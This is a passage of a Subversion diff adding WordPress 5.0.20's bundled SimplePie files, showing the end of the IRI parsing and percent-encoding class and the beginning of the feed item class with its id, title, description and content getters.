+
+		// Add unreserved and % to $extra_chars (the latter is safe because all
+		// pct-encoded sections are now valid).
+		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
+
+		// Now replace any bytes that aren't allowed with their pct-encoded versions
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strspn($string, $extra_chars, $position)) < $strlen)
+		{
+			$value = ord($string[$position]);
+
+			// Start position
+			$start = $position;
+
+			// By default we are valid
+			$valid = true;
+
+			// No one byte sequences are valid due to the while.
+			// Two byte sequence:
+			if (($value & 0xE0) === 0xC0)
+			{
+				$character = ($value & 0x1F) << 6;
+				$length = 2;
+				$remaining = 1;
+			}
+			// Three byte sequence:
+			elseif (($value & 0xF0) === 0xE0)
+			{
+				$character = ($value & 0x0F) << 12;
+				$length = 3;
+				$remaining = 2;
+			}
+			// Four byte sequence:
+			elseif (($value & 0xF8) === 0xF0)
+			{
+				$character = ($value & 0x07) << 18;
+				$length = 4;
+				$remaining = 3;
+			}
+			// Invalid byte:
+			else
+			{
+				$valid = false;
+				$length = 1;
+				$remaining = 0;
+			}
+
+			if ($remaining)
+			{
+				if ($position + $length <= $strlen)
+				{
+					for ($position++; $remaining; $position++)
+					{
+						$value = ord($string[$position]);
+
+						// Check that the byte is valid, then add it to the character:
+						if (($value & 0xC0) === 0x80)
+						{
+							$character |= ($value & 0x3F) << (--$remaining * 6);
+						}
+						// If it is invalid, count the sequence as invalid and reprocess the current byte:
+						else
+						{
+							$valid = false;
+							$position--;
+							break;
+						}
+					}
+				}
+				else
+				{
+					$position = $strlen - 1;
+					$valid = false;
+				}
+			}
+
+			// Percent encode anything invalid or not in ucschar
+			if (
+				// Invalid sequences
+				!$valid
+				// Non-shortest form sequences are invalid
+				|| $length > 1 && $character <= 0x7F
+				|| $length > 2 && $character <= 0x7FF
+				|| $length > 3 && $character <= 0xFFFF
+				// Outside of range of ucschar codepoints
+				// Noncharacters
+				|| ($character & 0xFFFE) === 0xFFFE
+				|| $character >= 0xFDD0 && $character <= 0xFDEF
+				|| (
+					// Everything else not in ucschar
+					   $character > 0xD7FF && $character < 0xF900
+					|| $character < 0xA0
+					|| $character > 0xEFFFD
+				)
+				&& (
+					// Everything not in iprivate, if it applies
+					   !$iprivate
+					|| $character < 0xE000
+					|| $character > 0x10FFFD
+				)
+			)
+			{
+				// If we were a character, pretend we weren't, but rather an error.
+				if ($valid)
+					$position--;
+
+				for ($j = $start; $j <= $position; $j++)
+				{
+					$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
+					$j += 2;
+					$position += 2;
+					$strlen += 2;
+				}
+			}
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Callback function for preg_replace_callback.
+	 *
+	 * Removes sequences of percent encoded bytes that represent UTF-8
+	 * encoded characters in iunreserved
+	 *
+	 * @param array $match PCRE match
+	 * @return string Replacement
+	 */
+	protected function remove_iunreserved_percent_encoded($match)
+	{
+		// As we just have valid percent encoded sequences we can just explode
+		// and ignore the first member of the returned array (an empty string).
+		$bytes = explode('%', $match[0]);
+
+		// Initialize the new string (this is what will be returned) and that
+		// there are no bytes remaining in the current sequence (unsurprising
+		// at the first byte!).
+		$string = '';
+		$remaining = 0;
+
+		// Loop over each and every byte, and set $value to its value
+		for ($i = 1, $len = count($bytes); $i < $len; $i++)
+		{
+			$value = hexdec($bytes[$i]);
+
+			// If we're the first byte of sequence:
+			if (!$remaining)
+			{
+				// Start position
+				$start = $i;
+
+				// By default we are valid
+				$valid = true;
+
+				// One byte sequence:
+				if ($value <= 0x7F)
+				{
+					$character = $value;
+					$length = 1;
+				}
+				// Two byte sequence:
+				elseif (($value & 0xE0) === 0xC0)
+				{
+					$character = ($value & 0x1F) << 6;
+					$length = 2;
+					$remaining = 1;
+				}
+				// Three byte sequence:
+				elseif (($value & 0xF0) === 0xE0)
+				{
+					$character = ($value & 0x0F) << 12;
+					$length = 3;
+					$remaining = 2;
+				}
+				// Four byte sequence:
+				elseif (($value & 0xF8) === 0xF0)
+				{
+					$character = ($value & 0x07) << 18;
+					$length = 4;
+					$remaining = 3;
+				}
+				// Invalid byte:
+				else
+				{
+					$valid = false;
+					$remaining = 0;
+				}
+			}
+			// Continuation byte:
+			else
+			{
+				// Check that the byte is valid, then add it to the character:
+				if (($value & 0xC0) === 0x80)
+				{
+					$remaining--;
+					$character |= ($value & 0x3F) << ($remaining * 6);
+				}
+				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
+				else
+				{
+					$valid = false;
+					$remaining = 0;
+					$i--;
+				}
+			}
+
+			// If we've reached the end of the current byte sequence, append it to Unicode::$data
+			if (!$remaining)
+			{
+				// Percent encode anything invalid or not in iunreserved
+				if (
+					// Invalid sequences
+					!$valid
+					// Non-shortest form sequences are invalid
+					|| $length > 1 && $character <= 0x7F
+					|| $length > 2 && $character <= 0x7FF
+					|| $length > 3 && $character <= 0xFFFF
+					// Outside of range of iunreserved codepoints
+					|| $character < 0x2D
+					|| $character > 0xEFFFD
+					// Noncharacters
+					|| ($character & 0xFFFE) === 0xFFFE
+					|| $character >= 0xFDD0 && $character <= 0xFDEF
+					// Everything else not in iunreserved (this is all BMP)
+					|| $character === 0x2F
+					|| $character > 0x39 && $character < 0x41
+					|| $character > 0x5A && $character < 0x61
+					|| $character > 0x7A && $character < 0x7E
+					|| $character > 0x7E && $character < 0xA0
+					|| $character > 0xD7FF && $character < 0xF900
+				)
+				{
+					for ($j = $start; $j <= $i; $j++)
+					{
+						$string .= '%' . strtoupper($bytes[$j]);
+					}
+				}
+				else
+				{
+					for ($j = $start; $j <= $i; $j++)
+					{
+						$string .= chr(hexdec($bytes[$j]));
+					}
+				}
+			}
+		}
+
+		// If we have any bytes left over they are invalid (i.e., we are
+		// mid-way through a multi-byte sequence)
+		if ($remaining)
+		{
+			for ($j = $start; $j < $len; $j++)
+			{
+				$string .= '%' . strtoupper($bytes[$j]);
+			}
+		}
+
+		return $string;
+	}
+
+	protected function scheme_normalization()
+	{
+		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo'])
+		{
+			$this->iuserinfo = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost'])
+		{
+			$this->ihost = null;
+		}
+		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port'])
+		{
+			$this->port = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath'])
+		{
+			$this->ipath = '';
+		}
+		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery'])
+		{
+			$this->iquery = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment'])
+		{
+			$this->ifragment = null;
+		}
+	}
+
+	/**
+	 * Check if the object represents a valid IRI. This needs to be done on each
+	 * call as some things change depending on another part of the IRI.
+	 *
+	 * @return bool
+	 */
+	public function is_valid()
+	{
+		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
+		if ($this->ipath !== '' &&
+			(
+				$isauthority && (
+					$this->ipath[0] !== '/' ||
+					substr($this->ipath, 0, 2) === '//'
+				) ||
+				(
+					$this->scheme === null &&
+					!$isauthority &&
+					strpos($this->ipath, ':') !== false &&
+					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
+				)
+			)
+		)
+		{
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Set the entire IRI. Returns true on success, false on failure (if there
+	 * are any invalid characters).
+	 *
+	 * @param string $iri
+	 * @return bool
+	 */
+	public function set_iri($iri)
+	{
+		static $cache;
+		if (!$cache)
+		{
+			$cache = array();
+		}
+
+		if ($iri === null)
+		{
+			return true;
+		}
+		elseif (isset($cache[$iri]))
+		{
+			list($this->scheme,
+				 $this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $this->ipath,
+				 $this->iquery,
+				 $this->ifragment,
+				 $return) = $cache[$iri];
+			return $return;
+		}
+		else
+		{
+			$parsed = $this->parse_iri((string) $iri);
+			if (!$parsed)
+			{
+				return false;
+			}
+
+			$return = $this->set_scheme($parsed['scheme'])
+				&& $this->set_authority($parsed['authority'])
+				&& $this->set_path($parsed['path'])
+				&& $this->set_query($parsed['query'])
+				&& $this->set_fragment($parsed['fragment']);
+
+			$cache[$iri] = array($this->scheme,
+								 $this->iuserinfo,
+								 $this->ihost,
+								 $this->port,
+								 $this->ipath,
+								 $this->iquery,
+								 $this->ifragment,
+								 $return);
+			return $return;
+		}
+	}
+
+	/**
+	 * Set the scheme. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $scheme
+	 * @return bool
+	 */
+	public function set_scheme($scheme)
+	{
+		if ($scheme === null)
+		{
+			$this->scheme = null;
+		}
+		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme))
+		{
+			$this->scheme = null;
+			return false;
+		}
+		else
+		{
+			$this->scheme = strtolower($scheme);
+		}
+		return true;
+	}
+
+	/**
+	 * Set the authority. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $authority
+	 * @return bool
+	 */
+	public function set_authority($authority)
+	{
+		static $cache;
+		if (!$cache)
+			$cache = array();
+
+		if ($authority === null)
+		{
+			$this->iuserinfo = null;
+			$this->ihost = null;
+			$this->port = null;
+			return true;
+		}
+		elseif (isset($cache[$authority]))
+		{
+			list($this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $return) = $cache[$authority];
+
+			return $return;
+		}
+		else
+		{
+			$remaining = $authority;
+			if (($iuserinfo_end = strrpos($remaining, '@')) !== false)
+			{
+				$iuserinfo = substr($remaining, 0, $iuserinfo_end);
+				$remaining = substr($remaining, $iuserinfo_end + 1);
+			}
+			else
+			{
+				$iuserinfo = null;
+			}
+			if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false)
+			{
+				if (($port = substr($remaining, $port_start + 1)) === false)
+				{
+					$port = null;
+				}
+				$remaining = substr($remaining, 0, $port_start);
+			}
+			else
+			{
+				$port = null;
+			}
+
+			$return = $this->set_userinfo($iuserinfo) &&
+					  $this->set_host($remaining) &&
+					  $this->set_port($port);
+
+			$cache[$authority] = array($this->iuserinfo,
+									   $this->ihost,
+									   $this->port,
+									   $return);
+
+			return $return;
+		}
+	}
+
+	/**
+	 * Set the iuserinfo.
+	 *
+	 * @param string $iuserinfo
+	 * @return bool
+	 */
+	public function set_userinfo($iuserinfo)
+	{
+		if ($iuserinfo === null)
+		{
+			$this->iuserinfo = null;
+		}
+		else
+		{
+			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
+			$this->scheme_normalization();
+		}
+
+		return true;
+	}
+
+	/**
+	 * Set the ihost. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $ihost
+	 * @return bool
+	 */
+	public function set_host($ihost)
+	{
+		if ($ihost === null)
+		{
+			$this->ihost = null;
+			return true;
+		}
+		elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']')
+		{
+			if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1)))
+			{
+				$this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']';
+			}
+			else
+			{
+				$this->ihost = null;
+				return false;
+			}
+		}
+		else
+		{
+			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
+
+			// Lowercase, but ignore pct-encoded sections (as they should
+			// remain uppercase). This must be done after the previous step
+			// as that can add unescaped characters.
+			$position = 0;
+			$strlen = strlen($ihost);
+			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen)
+			{
+				if ($ihost[$position] === '%')
+				{
+					$position += 3;
+				}
+				else
+				{
+					$ihost[$position] = strtolower($ihost[$position]);
+					$position++;
+				}
+			}
+
+			$this->ihost = $ihost;
+		}
+
+		$this->scheme_normalization();
+
+		return true;
+	}
+
+	/**
+	 * Set the port. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $port
+	 * @return bool
+	 */
+	public function set_port($port)
+	{
+		if ($port === null)
+		{
+			$this->port = null;
+			return true;
+		}
+		elseif (strspn($port, '0123456789') === strlen($port))
+		{
+			$this->port = (int) $port;
+			$this->scheme_normalization();
+			return true;
+		}
+		else
+		{
+			$this->port = null;
+			return false;
+		}
+	}
+
+	/**
+	 * Set the ipath.
+	 *
+	 * @param string $ipath
+	 * @return bool
+	 */
+	public function set_path($ipath)
+	{
+		static $cache;
+		if (!$cache)
+		{
+			$cache = array();
+		}
+
+		$ipath = (string) $ipath;
+
+		if (isset($cache[$ipath]))
+		{
+			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
+		}
+		else
+		{
+			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
+			$removed = $this->remove_dot_segments($valid);
+
+			$cache[$ipath] = array($valid, $removed);
+			$this->ipath =  ($this->scheme !== null) ? $removed : $valid;
+		}
+
+		$this->scheme_normalization();
+		return true;
+	}
+
+	/**
+	 * Set the iquery.
+	 *
+	 * @param string $iquery
+	 * @return bool
+	 */
+	public function set_query($iquery)
+	{
+		if ($iquery === null)
+		{
+			$this->iquery = null;
+		}
+		else
+		{
+			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Set the ifragment.
+	 *
+	 * @param string $ifragment
+	 * @return bool
+	 */
+	public function set_fragment($ifragment)
+	{
+		if ($ifragment === null)
+		{
+			$this->ifragment = null;
+		}
+		else
+		{
+			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Convert an IRI to a URI (or parts thereof)
+	 *
+	 * @return string
+	 */
+	public function to_uri($string)
+	{
+		static $non_ascii;
+		if (!$non_ascii)
+		{
+			$non_ascii = implode('', range("\x80", "\xFF"));
+		}
+
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strcspn($string, $non_ascii, $position)) < $strlen)
+		{
+			$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
+			$position += 3;
+			$strlen += 2;
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Get the complete IRI
+	 *
+	 * @return string
+	 */
+	public function get_iri()
+	{
+		if (!$this->is_valid())
+		{
+			return false;
+		}
+
+		$iri = '';
+		if ($this->scheme !== null)
+		{
+			$iri .= $this->scheme . ':';
+		}
+		if (($iauthority = $this->get_iauthority()) !== null)
+		{
+			$iri .= '//' . $iauthority;
+		}
+		if ($this->ipath !== '')
+		{
+			$iri .= $this->ipath;
+		}
+		elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '')
+		{
+			$iri .= $this->normalization[$this->scheme]['ipath'];
+		}
+		if ($this->iquery !== null)
+		{
+			$iri .= '?' . $this->iquery;
+		}
+		if ($this->ifragment !== null)
+		{
+			$iri .= '#' . $this->ifragment;
+		}
+
+		return $iri;
+	}
+
+	/**
+	 * Get the complete URI
+	 *
+	 * @return string
+	 */
+	public function get_uri()
+	{
+		return $this->to_uri($this->get_iri());
+	}
+
+	/**
+	 * Get the complete iauthority
+	 *
+	 * @return string
+	 */
+	protected function get_iauthority()
+	{
+		if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null)
+		{
+			$iauthority = '';
+			if ($this->iuserinfo !== null)
+			{
+				$iauthority .= $this->iuserinfo . '@';
+			}
+			if ($this->ihost !== null)
+			{
+				$iauthority .= $this->ihost;
+			}
+			if ($this->port !== null)
+			{
+				$iauthority .= ':' . $this->port;
+			}
+			return $iauthority;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the complete authority
+	 *
+	 * @return string
+	 */
+	protected function get_authority()
+	{
+		$iauthority = $this->get_iauthority();
+		if (is_string($iauthority))
+			return $this->to_uri($iauthority);
+		else
+			return $iauthority;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Item.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Item.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Item.php	(revision 56912)
@@ -0,0 +1,2964 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Manages all item-related data
+ *
+ * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_item_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Item
+{
+	/**
+	 * Parent feed
+	 *
+	 * @access private
+	 * @var SimplePie
+	 */
+	var $feed;
+
+	/**
+	 * Raw data
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $data = array();
+
+	/**
+	 * Registry object
+	 *
+	 * @see set_registry
+	 * @var SimplePie_Registry
+	 */
+	protected $registry;
+
+	/**
+	 * Create a new item object
+	 *
+	 * This is usually used by {@see SimplePie::get_items} and
+	 * {@see SimplePie::get_item}. Avoid creating this manually.
+	 *
+	 * @param SimplePie $feed Parent feed
+	 * @param array $data Raw data
+	 */
+	public function __construct($feed, $data)
+	{
+		$this->feed = $feed;
+		$this->data = $data;
+	}
+
+	/**
+	 * Set the registry handler
+	 *
+	 * This is usually used by {@see SimplePie_Registry::create}
+	 *
+	 * @since 1.3
+	 * @param SimplePie_Registry $registry
+	 */
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	/**
+	 * Get a string representation of the item
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	public function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			unset($this->feed);
+		}
+	}
+
+	/**
+	 * Get data for an item-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute that is a
+	 * sub-element of the item/entry tag.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_item_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the base URL value from the parent feed
+	 *
+	 * Uses `<xml:base>`
+	 *
+	 * @param array $element
+	 * @return string
+	 */
+	public function get_base($element = array())
+	{
+		return $this->feed->get_base($element);
+	}
+
+	/**
+	 * Sanitize feed data
+	 *
+	 * @access private
+	 * @see SimplePie::sanitize()
+	 * @param string $data Data to sanitize
+	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
+	 * @param string $base Base URL to resolve URLs against
+	 * @return string Sanitized data
+	 */
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->feed->sanitize($data, $type, $base);
+	}
+
+	/**
+	 * Get the parent feed
+	 *
+	 * Note: this may not work as you think for multifeeds!
+	 *
+	 * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
+	 * @since 1.0
+	 * @return SimplePie
+	 */
+	public function get_feed()
+	{
+		return $this->feed;
+	}
+
+	/**
+	 * Get the unique identifier for the item
+	 *
+	 * This is usually used when writing code to check for new items in a feed.
+	 *
+	 * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
+	 * for RDF. If none of these are supplied (or `$hash` is true), creates an
+	 * MD5 hash based on the permalink and title. If either of those are not
+	 * supplied, creates a hash based on the full feed data.
+	 *
+	 * @since Beta 2
+	 * @param boolean $hash Should we force using a hash instead of the supplied ID?
+	 * @return string
+	 */
+	public function get_id($hash = false)
+	{
+		if (!$hash)
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about']))
+			{
+				return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (($return = $this->get_permalink()) !== null)
+			{
+				return $return;
+			}
+			elseif (($return = $this->get_title()) !== null)
+			{
+				return $return;
+			}
+		}
+		if ($this->get_permalink() !== null || $this->get_title() !== null)
+		{
+			return md5($this->get_permalink() . $this->get_title());
+		}
+		else
+		{
+			return md5(serialize($this->data));
+		}
+	}
+
+	/**
+	 * Get the title of the item
+	 *
+	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
+	 *
+	 * @since Beta 2 (previously called `get_item_title` since 0.8)
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if (!isset($this->data['title']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$this->data['title'] = null;
+			}
+		}
+		return $this->data['title'];
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Prefers summaries over full content , but will return full content if a
+	 * summary does not exist.
+	 *
+	 * To prefer full content instead, use {@see get_content}
+	 *
+	 * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
+	 * `<itunes:subtitle>`
+	 *
+	 * @since 0.8
+	 * @param boolean $description_only Should we avoid falling back to the content?
+	 * @return string|null
+	 */
+	public function get_description($description_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML);
+		}
+
+		elseif (!$description_only)
+		{
+			return $this->get_content(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Prefers full content over summaries, but will return a summary if full
+	 * content does not exist.
+	 *
+	 * To prefer summaries instead, use {@see get_description}
+	 *
+	 * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
+	 *
+	 * @since 1.0
+	 * @param boolean $content_only Should we avoid falling back to the description?
+	 * @return string|null
+	 */
+	public function get_content($content_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
